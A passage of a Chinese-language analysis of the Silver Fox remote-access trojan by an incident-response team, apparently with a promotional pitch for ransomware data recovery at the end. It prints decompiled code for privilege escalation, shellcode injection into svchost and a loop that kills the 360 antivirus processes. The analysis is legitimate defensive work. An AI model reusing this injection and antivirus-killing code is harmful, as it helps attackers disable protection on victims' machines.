&a1Js04t14364o21[1]; wcslen(a1Js04t14364o21); ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); ((void (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"bb:", 0); v4 = &unk_35F42B4; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = &a1Js04t14364o21[1]; wcslen(a1Js04t14364o21); ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); ((void (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"bz:", 0); v4 = 0; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = (wchar_t *)v1; wcslen(a1Js04t14364o21); ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); ((void (__fastcall *)(const wchar_t *, void *))unk_35D2740)(L"jp:", &unk_35F4318); v4 = 0; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = (wchar_t *)v1; wcslen(a1Js04t14364o21); ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); ((void (__fastcall *)(const wchar_t *, void *))unk_35D2740)(L"sx:", &unk_35F431C); v4 = 0; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = (wchar_t *)v1; wcslen(a1Js04t14364o21); ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); ((void (__fastcall *)(const wchar_t *, void *))unk_35D2740)(L"bh:", &unk_35F4320); v4 = 0; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = (wchar_t *)v1; wcslen(a1Js04t14364o21); ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); ((void (__fastcall *)(const wchar_t *, void *))unk_35D2740)(L"ll:", &unk_35F4324); v4 = 0; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = (wchar_t *)v1; wcslen(a1Js04t14364o21); ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); ((void (__fastcall *)(const wchar_t *, int *))unk_35D2740)(L"dl:", &dword_35F4328); v4 = 0; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = (wchar_t *)v1; wcslen(a1Js04t14364o21); ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); ((void (__fastcall *)(const wchar_t *, void *))unk_35D2740)(L"sh:", &unk_35F432C); v4 = 0; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = (wchar_t *)v1; wcslen(a1Js04t14364o21); ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); ((void (__fastcall *)(const wchar_t *, int *))unk_35D2740)(L"kl:", &dword_35F4330); v4 = &unk_35F4D56; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = &a1Js04t14364o21[1]; wcslen(a1Js04t14364o21); ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); ((void (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"p4:", 0); v4 = &unk_35F4F54; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = &a1Js04t14364o21[1]; wcslen(a1Js04t14364o21); ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); ((void (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"o4:", 0); v4 = 0; v3 = 7; v2 = 0; LOWORD(v1[0]) = 0; v5 = (wchar_t *)v1; wcslen(a1Js04t14364o21); ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); ((void (__fastcall *)(const wchar_t *, void *))unk_35D2740)(L"t4:", &unk_35F4F90); v4 = &unk_35F4F94; v3 = 7; v2 = 0; v5 = (wchar_t *)v1; LOWORD(v1[0]) = 0; wcslen(a1Js04t14364o21); ((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]); return ((int (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"sj:", 0); } return result; } ``` 解析出银狐远控的配置信息  创建线程执行远控。 ```C int sub_35D3710() { if ( !dword_35F4FD4 ) { sub_35D29A0(); dword_35F4FD4 = ((int (__stdcall *)(_DWORD, _DWORD, void (__noreturn *)(), _DWORD, _DWORD, _DWORD))kernel32_CreateThread)( 0, 0, sub_35D3140, 0, 0, 0); ((void (__stdcall *)(_DWORD, _DWORD, void (__noreturn *)(), _DWORD, _DWORD, _DWORD))kernel32_CreateThread)( 0, 0, sub_35D3460, 0, 0, 0); ((void (__stdcall *)(int, int))kernel32_WaitForSingleObject)(dword_35F4FD4, -1); ((void (__stdcall *)(int))kernel32_CloseHandle)(dword_35F4FD4); } return 0; } ``` 后面就是与服务端执行通信进行远控了，这里就不详细分析了  2.3 强杀360程序分析 ------------- 基于2.2.5所提到远程下载的样本project.exe进行分析   拖入ida中，发现它并未去除pdb  ### 2.3.1 执行流程  ### 2.3.2 提权 RtlAdjustPrivilege(20, 1, 0, &WasEnabled); 提升到`SE_DEBUG_PRIVILEGE`特权 - `SE_DEBUG_PRIVILEGE` (20)：允许调试其他进程。 - `SE_SHUTDOWN_PRIVILEGE` (19)：允许关闭系统。 - `SE_TAKE_OWNERSHIP_PRIVILEGE` (9)：允许取得对象的所有权。 ### 2.3.3 查找注入进程 遍历进程查找svchost.exe  ### 2.3.4 复制句柄 复制句柄  ### 2.3.5 注入 分配空间并写入进程 ```Python v23 = VirtualAllocEx(v11, 0i64, 0x8F6ui64, 0x3000u, 0x40u); WriteProcessMemory(v11, v23, &unk_7FF648BE6C70, 0x8F6ui64, 0i64); ``` 注入的shellcode大致如下，简单一个遍历进程并关闭360 ```C __int64 __fastcall sub_7FF648BE6FF0(_QWORD *a1) { __int64 result; // rax char v2[8]; // [rsp+20h] [rbp-98h] BYREF char v3[16]; // [rsp+28h] [rbp-90h] BYREF char v4[16]; // [rsp+38h] [rbp-80h] BYREF char v5[16]; // [rsp+48h] [rbp-70h] BYREF char v6[16]; // [rsp+58h] [rbp-60h] BYREF char v7[16]; // [rsp+68h] [rbp-50h] BYREF char v8[24]; // [rsp+78h] [rbp-40h] BYREF char v9[40]; // [rsp+90h] [rbp-28h] BYREF *a1 = sub_7FF648BE6F60(); strcpy(v4, "CloseHandle"); strcpy(v9, "CreateToolhelp32Snapshot"); strcpy(v7, "Process32First"); strcpy(v6, "Process32Next"); strcpy(v5, "OpenProcess"); strcpy(v8, "TerminateProcess"); strcpy(v3, "lstrcmpiA"); strcpy(v2, "Sleep"); a1[1] = sub_7FF648BE6E30(*a1, v4); a1[2] = sub_7FF648BE6E30(*a1, v9); a1[3] = sub_7FF648BE6E30(*a1, v7); a1[4] = sub_7FF648BE6E30(*a1, v6); a1[5] = sub_7FF648BE6E30(*a1, v5); a1[6] = sub_7FF648BE6E30(*a1, v8); a1[7] = sub_7FF648BE6E30(*a1, v3); result = sub_7FF648BE6E30(*a1, v2); a1[8] = result; return result; } __int64 sub_7FF648BE6C70() { __int64 result; // rax char v1[16]; // [rsp+20h] [rbp-1C8h] BYREF char v2[16]; // [rsp+30h] [rbp-1B8h] BYREF __int64 v3; // [rsp+40h] [rbp-1A8h] __int64 v4; // [rsp+48h] [rbp-1A0h] __int64 v5; // [rsp+50h] [rbp-198h] char v6[8]; // [rsp+60h] [rbp-188h] BYREF void (__fastcall *v7)(__int64); // [rsp+68h] [rbp-180h] __int64 (__fastcall *v8)(__int64, _QWORD); // [rsp+70h] [rbp-178h] unsigned int (__fastcall *v9)(__int64, int *); // [rsp+78h] [rbp-170h] unsigned int (__fastcall *v10)(__int64, int *); // [rsp+80h] [rbp-168h] __int64 (__fastcall *v11)(__int64, _QWORD, _QWORD); // [rsp+88h] [rbp-160h] void (__fastcall *v12)(__int64, _QWORD); // [rsp+90h] [rbp-158h] unsigned int (__fastcall *v13)(char *, char *); // [rsp+98h] [rbp-150h] void (__fastcall *v14)(__int64); // [rsp+A0h] [rbp-148h] int v15; // [rsp+B0h] [rbp-138h] BYREF unsigned int v16; // [rsp+B8h] [rbp-130h] char v17[268]; // [rsp+DCh] [rbp-10Ch] BYREF sub_7FF648BE6FF0(v6); strcpy(v1, "360tray.exe"); strcpy(v2, "360Tray.exe"); while ( 1 ) { result = v8(2i64, 0i64); v3 = result; if ( result == -1 ) return result; v15 = 304; if ( v9(v3, &v15) ) { while ( 1 ) { if ( !v13(v17, v1) ) { v4 = v11(1i64, 0i64, v16); if ( v4 ) { v12(v4, 0i64); v7(v4); } goto LABEL_13; } if ( !v13(v17, v2) ) break; if ( !v10(v3, &v15) ) goto LABEL_13; } v5 = v11(1i64, 0i64, v16); if ( v5 ) { v12(v5, 0i64); v7(v5); } } LABEL_13: v7(v3); v14(100i64); } } ``` 创建一个线程池等待对象，并将其写入进程 ```C ThreadpoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)v23, 0i64, 0i64); v25 = VirtualAllocEx(v11, 0i64, 0x1D8ui64, 0x3000u, 4u); WriteProcessMemory(v11, v25, ThreadpoolWait, 0x1D8ui64, 0i64); v26 = VirtualAllocEx(v11, 0i64, 0x48ui64, 0x3000u, 4u); WriteProcessMemory(v11, v26, (char *)ThreadpoolWait + 392, 0x48ui64, 0i64); ``` 创建事件，并将事件与等待对象关联，事件设置之后就会执行shellcode ```C EventW = CreateEventW(0i64, 0, 0, L"asdEvent"); ((void (__fastcall *)(_QWORD, __int64, HANDLE, void *, void *))ZwAssociateWaitCompletionPacket)( *((_QWORD *)ThreadpoolWait + 46), qword_7FF648BE9CB8, EventW, v26, v25); SetEvent(EventW); ``` ### 2.3.6 强关360 动态加载函数然后强关360  3. 病毒分析概览 ========= 该病毒通过多层次的加载机制和复杂的内存操作，实现了远程控制、反检测和强制关闭安全软件等功能。其执行流程包括远程加载 shellcode、反射加载 DLL、自解密、提权操作，以及利用动态 API 调用实现代码注入和系统操作。同时，病毒设置自身为系统关键进程，以蓝屏保护机制防止被终止，并通过与远程服务器持续通信，执行数据窃取和控制命令。整体攻击流程展现出极高的隐蔽性和破坏性。 4.**安全建议** ========== **1. 风险消减措施** ------------- **资产梳理排查目标:** 根据实际情况，对内外网资产进行分时期排查 **服务方式:** 调研访谈、现场勘查、工具扫描 **服务关键内容：** 流量威胁监测系统排查、互联网暴露面扫描服务、技术加固服务、集权系统排查  **2. 安全设备调优** ------------- **目标** 通过对安全现状的梳理和分析，识别安全策略上的不足，结合目标防御、权限最小化、缩小攻击面等一系列参考原则，对设备的相关配置策略进行改进调优，一方面，减低无效或低效规则的出现频次；另一方面，对缺失或遗漏的规则进行补充，实现将安全设备防护能力最优化。  **主要目标设备** 网络安全防护设备、系统防护软件、日志审计与分析设备、安全监测与入侵识别设备。 **3. 全员安全意识增强调优** ----------------- **目标：** 通过网络安全意识宣贯、培训提升全方位安全能力 **形式：** 培训及宣贯  线下培训课表 若无法组织线下的集体培训，考虑两种方式: 1.提供相关的安全意识培训材料，由上而下分发学习 2.组织相关人员线上开会学习。线上培训模式。  线上学习平台 以下是solar安全团队近期处理过的常见勒索病毒后缀：后缀.360勒索病毒,.halo勒索病毒,.phobos勒索病毒,.Lockfiles勒索病毒,.stesoj勒索病毒,.src勒索病毒,.svh勒索病毒,.Elbie勒索病毒,.Wormhole勒索病毒.live勒索病毒, .rmallox勒索病毒, .mallox 勒索病毒,.hmallox勒索病毒,.jopanaxye勒索病毒, .2700勒索病毒, .elbie勒索病毒, .mkp勒索病毒, .dura勒索病毒, .halo勒索病毒, .DevicData勒索病毒, .faust勒索病毒, ..locky勒索病毒, .cryptolocker勒索病毒, .cerber勒索病毒, .zepto勒索病毒, .wannacry勒索病毒, .cryptowall勒索病毒, .teslacrypt勒索病毒, .gandcrab勒索病毒, .dharma勒索病毒, .phobos勒索病毒, .lockergoga勒索病毒, .coot勒索病毒, .lockbit勒索病毒, .nemty勒索病毒, .contipa勒索病毒, .djvu勒索病毒, .marlboro勒索病毒, .stop勒索病毒, .etols勒索病毒, .makop勒索病毒, .mado勒索病毒, .skymap勒索病毒, .aleta勒索病毒, .btix勒索病毒, .varasto勒索病毒, .qewe勒索病毒, .mylob勒索病毒, .coharos勒索病毒, .kodc勒索病毒, .tro勒索病毒, .mbed勒索病毒, .wannaren勒索病毒, .babyk勒索病毒, .lockfiles勒索病毒, .locked勒索病毒, .DevicData-P-XXXXXXXX勒索病毒, .lockbit3.0勒索病毒, .blackbit勒索病毒等。 勒索攻击作为成熟的攻击手段，很多勒索家族已经形成了一套完整的商业体系，并且分支了很多团伙组织，导致勒索病毒迭代了多个版本。而每个家族擅用的攻击手法皆有不同，TellYouThePass勒索软件家族常常利用系统漏洞进行攻击；Phobos勒索软件家族通过RDP暴力破解进行勒索；Mallox勒索软件家族利用数据库及暴力破解进行加密，攻击手法极多防不胜防。 而最好的预防方法就是针对自身业务进行定期的基线加固、补丁更新及数据备份，在其基础上加强公司安全人员意识。如果您想了解有关勒索病毒的最新发展情况，或者需要获取相关帮助，请关注“solar专业应急响应团队”。 5.**团队介绍** ========== 团队坚持自主研发及创新，在攻防演练平台、网络安全竞赛平台、网络安全学习平台方面加大研发投入，目前已获得十几项专利及知识产权。团队也先后通过了ISO9001质量管理体系、ISO14000环境管理体系、ISO45001职业安全健康管理体系 、ITSS（信息技术服务运行维护标准四级）等认证，已构建了网络安全行业合格的资质体系； 6.**我们的数据恢复服务流程** ================= **多年的数据恢复处理经验，在不断对客户服务优化的过程中搭建了"免费售前+安心保障+专业恢复+安全防御"一体化的专业服务流程。** **① 免费咨询/数据诊断分析** 专业的售前技术顾问服务，免费在线咨询，可第一时间获取数据中毒后的正确处理措施，防范勒索病毒在内网进一步扩散或二次执行，避免错误操作导致数据无法恢复。 售前技术顾问沟通了解客户的机器中毒相关信息，结合团队数据恢复案例库的相同案例进行分析评估，初步诊断分析中毒数据的加密/损坏情况。 **② 评估报价/数据恢复方案** 您获取售前顾问的初步诊断评估信息后，若同意进行进一步深入的数据恢复诊断，我们将立即安排专业病毒分析工程师及数据恢复工程师进行病毒逆向分析及数据恢复检测分析。 专业数据恢复工程师根据数据检测分析结果，定制数据恢复方案（恢复价格/恢复率/恢复工期），并为您解答数据恢复方案的相关疑问。 **③ 确认下单/签订合同** 您清楚了解数据恢复方案后，您可自主选择以下下单方式： 双方签署对公合同：根据中毒数据分析情况，量身定制输出数据恢复合同，合同内明确客户的数据恢复内容、数据恢复率、恢复工期及双方权责条款，双方合同签订，正式进入数据恢复专业施工阶段，数据恢复后进行验证确认，数据验证无误，交易完成。 **④ 开始数据恢复专业施工** 安排专业数据恢复工程师团队全程服务，告知客户数据恢复过程注意事项及相关方案措施，并可根据客户需求及数据情况，可选择上门恢复/远程恢复。 数据恢复过程中，团队随时向您报告数据恢复每一个节点工作进展（数据扫描 → 数据检测 → 数据确认 → 恢复工具定制 → 执行数据恢复 → 数据完整性确认）。 **⑤ 数据验收/安全防御方案** 完成数据恢复后，我司将安排数据分析工程师进行二次检查确认数据恢复完整性，充分保障客户的数据恢复权益，二次检测确认后，通知客户进行数据验证。 客户对数据进行数据验证完成后，我司将指导后续相关注意事项及安全防范措施，并可提供专业的企业安全防范建设方案及安全顾问服务，抵御勒索病毒再次入侵。 *我们在此郑重承诺：* **不成功不收费** **全程一对一服务** **365天不间断服务** **免费提供安全方案** 24h服务热线： 18894665383 17864099776 18299173318
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